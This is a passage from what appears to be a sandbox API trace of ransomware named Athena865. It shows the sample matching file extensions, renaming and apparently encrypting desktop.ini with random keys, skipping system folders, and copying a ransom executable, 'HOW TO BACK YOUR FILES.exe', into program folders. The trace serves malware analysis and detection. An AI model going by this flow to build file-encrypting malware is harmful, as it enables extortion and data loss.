[0034.345] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0034.345] lstrlenW (lpString="fp3") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0034.345] lstrlenW (lpString="fp4") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0034.345] lstrlenW (lpString="fp5") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0034.345] lstrlenW (lpString="fp7") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0034.345] lstrlenW (lpString="fpt") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0034.345] lstrlenW (lpString="frm") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0034.345] lstrlenW (lpString="gdb") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0034.345] lstrlenW (lpString="gdb") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0034.345] lstrlenW (lpString="grdb") returned 4 [0034.345] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0034.345] lstrlenW (lpString="gwi") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0034.345] lstrlenW (lpString="hdb") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0034.345] lstrlenW (lpString="his") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0034.345] lstrlenW (lpString="ib") returned 2 [0034.345] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0034.345] lstrlenW (lpString="idb") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0034.345] lstrlenW (lpString="ihx") returned 3 [0034.345] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0034.345] lstrlenW (lpString="itdb") returned 4 [0034.345] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0034.346] lstrlenW (lpString="itw") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0034.346] lstrlenW (lpString="jet") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0034.346] lstrlenW (lpString="jtx") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0034.346] lstrlenW (lpString="kdb") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0034.346] lstrlenW (lpString="kexi") returned 4 [0034.346] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0034.346] lstrlenW (lpString="kexic") returned 5 [0034.346] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0034.346] lstrlenW (lpString="kexis") returned 5 [0034.346] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0034.346] lstrlenW (lpString="lgc") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0034.346] lstrlenW (lpString="lwx") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0034.346] lstrlenW (lpString="maf") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0034.346] lstrlenW (lpString="maq") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0034.346] lstrlenW (lpString="mar") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0034.346] lstrlenW (lpString="marshal") returned 7 [0034.346] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0034.346] lstrlenW (lpString="mas") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0034.346] lstrlenW (lpString="mav") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0034.346] lstrlenW (lpString="maw") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0034.346] lstrlenW (lpString="mdbhtml") returned 7 [0034.346] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0034.346] lstrlenW (lpString="mdn") returned 3 [0034.346] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0034.347] lstrlenW (lpString="mdt") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0034.347] lstrlenW (lpString="mfd") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0034.347] lstrlenW (lpString="mpd") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0034.347] lstrlenW (lpString="mrg") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0034.347] lstrlenW (lpString="mud") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0034.347] lstrlenW (lpString="mwb") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0034.347] lstrlenW (lpString="myd") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0034.347] lstrlenW (lpString="ndf") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0034.347] lstrlenW (lpString="nnt") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0034.347] lstrlenW (lpString="nrmlib") returned 6 [0034.347] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0034.347] lstrlenW (lpString="ns2") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0034.347] lstrlenW (lpString="ns3") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0034.347] lstrlenW (lpString="ns4") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0034.347] lstrlenW (lpString="nsf") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0034.347] lstrlenW (lpString="nv") returned 2 [0034.347] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0034.347] lstrlenW (lpString="nv2") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0034.347] lstrlenW (lpString="nwdb") returned 4 [0034.347] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0034.347] lstrlenW (lpString="nyf") returned 3 [0034.347] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0034.347] lstrlenW (lpString="odb") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0034.348] lstrlenW (lpString="odb") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0034.348] lstrlenW (lpString="oqy") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0034.348] lstrlenW (lpString="ora") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0034.348] lstrlenW (lpString="orx") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0034.348] lstrlenW (lpString="owc") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0034.348] lstrlenW (lpString="p96") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0034.348] lstrlenW (lpString="p97") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0034.348] lstrlenW (lpString="pan") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0034.348] lstrlenW (lpString="pdb") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0034.348] lstrlenW (lpString="pdm") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0034.348] lstrlenW (lpString="pnz") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0034.348] lstrlenW (lpString="qry") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0034.348] lstrlenW (lpString="qvd") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0034.348] lstrlenW (lpString="rbf") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0034.348] lstrlenW (lpString="rctd") returned 4 [0034.348] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0034.348] lstrlenW (lpString="rod") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0034.348] lstrlenW (lpString="rodx") returned 4 [0034.348] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0034.348] lstrlenW (lpString="rpd") returned 3 [0034.348] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0034.348] lstrlenW (lpString="rsd") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0034.349] lstrlenW (lpString="sas7bdat") returned 8 [0034.349] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0034.349] lstrlenW (lpString="sbf") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0034.349] lstrlenW (lpString="scx") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0034.349] lstrlenW (lpString="sdb") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0034.349] lstrlenW (lpString="sdc") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0034.349] lstrlenW (lpString="sdf") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0034.349] lstrlenW (lpString="sis") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0034.349] lstrlenW (lpString="spq") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0034.349] lstrlenW (lpString="te") returned 2 [0034.349] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0034.349] lstrlenW (lpString="teacher") returned 7 [0034.349] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0034.349] lstrlenW (lpString="tmd") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0034.349] lstrlenW (lpString="tps") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0034.349] lstrlenW (lpString="trc") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0034.349] lstrlenW (lpString="trc") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0034.349] lstrlenW (lpString="trm") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0034.349] lstrlenW (lpString="udb") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0034.349] lstrlenW (lpString="udl") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0034.349] lstrlenW (lpString="usr") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0034.349] lstrlenW (lpString="v12") returned 3 [0034.349] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0034.350] lstrlenW (lpString="vis") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0034.350] lstrlenW (lpString="vpd") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0034.350] lstrlenW (lpString="vvv") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0034.350] lstrlenW (lpString="wdb") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0034.350] lstrlenW (lpString="wmdb") returned 4 [0034.350] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0034.350] lstrlenW (lpString="wrk") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0034.350] lstrlenW (lpString="xdb") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0034.350] lstrlenW (lpString="xld") returned 3 [0034.350] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0034.350] lstrlenW (lpString="xmlff") returned 5 [0034.350] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0034.350] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\desktop.ini.Athena865") returned 44 [0034.350] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\desktop.ini" (normalized: "c:\\program files (x86)\\desktop.ini"), lpNewFileName="C:\\Program Files (x86)\\desktop.ini.Athena865" (normalized: "c:\\program files (x86)\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0034.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\desktop.ini.Athena865" (normalized: "c:\\program files (x86)\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xf0 [0034.351] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0034.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0034.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50d8d8 [0034.409] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0034.451] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0034.453] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0034.453] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.453] CreateFileMappingW (hFile=0xf0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x140 [0034.454] MapViewOfFile (hFileMappingObject=0x140, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0034.454] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0034.454] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.454] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50d950 [0034.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d950 | out: hHeap=0x4f0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50d950 [0034.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d950 | out: hHeap=0x4f0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d950 [0034.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d950 | out: hHeap=0x4f0000) returned 1 [0034.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.455] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0034.455] CloseHandle (hObject=0x140) returned 1 [0034.455] CloseHandle (hObject=0xf0) returned 1 [0034.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d8d8 | out: hHeap=0x4f0000) returned 1 [0034.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0034.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0034.457] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xac682e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac682e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.457] lstrcmpiW (lpString1="Google", lpString2=".") returned 1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="..") returned 1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="windows") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="bootmgr") returned 1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="temp") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="pagefile.sys") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="boot") returned 1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="ids.txt") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="ntuser.dat") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="perflogs") returned -1 [0034.457] lstrcmpiW (lpString1="Google", lpString2="MSBuild") returned -1 [0034.457] lstrlenW (lpString="Google") returned 6 [0034.457] lstrcpyW (in: lpString1=0x241e876, lpString2="Google" | out: lpString1="Google") returned="Google" [0034.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c548 [0034.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x50f640 [0034.457] lstrcatW (in: lpString1="Google", lpString2="\\" | out: lpString1="Google\\") returned="Google\\" [0034.457] lstrcatW (in: lpString1="Google\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Google\\HOW TO BACK YOUR FILES.exe") returned="Google\\HOW TO BACK YOUR FILES.exe" [0034.457] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.461] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc30f380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.461] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.461] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xacb1f8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xacb1f8a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1 [0034.461] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1 [0034.461] lstrlenW (lpString="Internet Explorer") returned 17 [0034.461] lstrcpyW (in: lpString1=0x241e876, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0034.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c560 [0034.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x50d5b8 [0034.461] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0034.461] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0034.461] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.464] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2=".") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="..") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1 [0034.464] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1 [0034.464] lstrlenW (lpString="Java") returned 4 [0034.464] lstrcpyW (in: lpString1=0x241e876, lpString2="Java" | out: lpString1="Java") returned="Java" [0034.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c578 [0034.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x38) returned 0x50d8d8 [0034.464] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0034.464] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0034.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.466] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xacb45a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xacb45a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="windows") returned -1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="bootmgr") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="temp") returned -1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="pagefile.sys") returned -1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="boot") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ids.txt") returned 1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ntuser.dat") returned -1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="perflogs") returned -1 [0034.467] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="MSBuild") returned -1 [0034.467] lstrlenW (lpString="Microsoft Analysis Services") returned 27 [0034.467] lstrcpyW (in: lpString1=0x241e876, lpString2="Microsoft Analysis Services" | out: lpString1="Microsoft Analysis Services") returned="Microsoft Analysis Services" [0034.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c590 [0034.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x50d918 [0034.467] lstrcatW (in: lpString1="Microsoft Analysis Services", lpString2="\\" | out: lpString1="Microsoft Analysis Services\\") returned="Microsoft Analysis Services\\" [0034.467] lstrcatW (in: lpString1="Microsoft Analysis Services\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" [0034.467] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.470] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xacb45a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xacb45a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0034.471] lstrcmpiW (lpString1="Microsoft Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 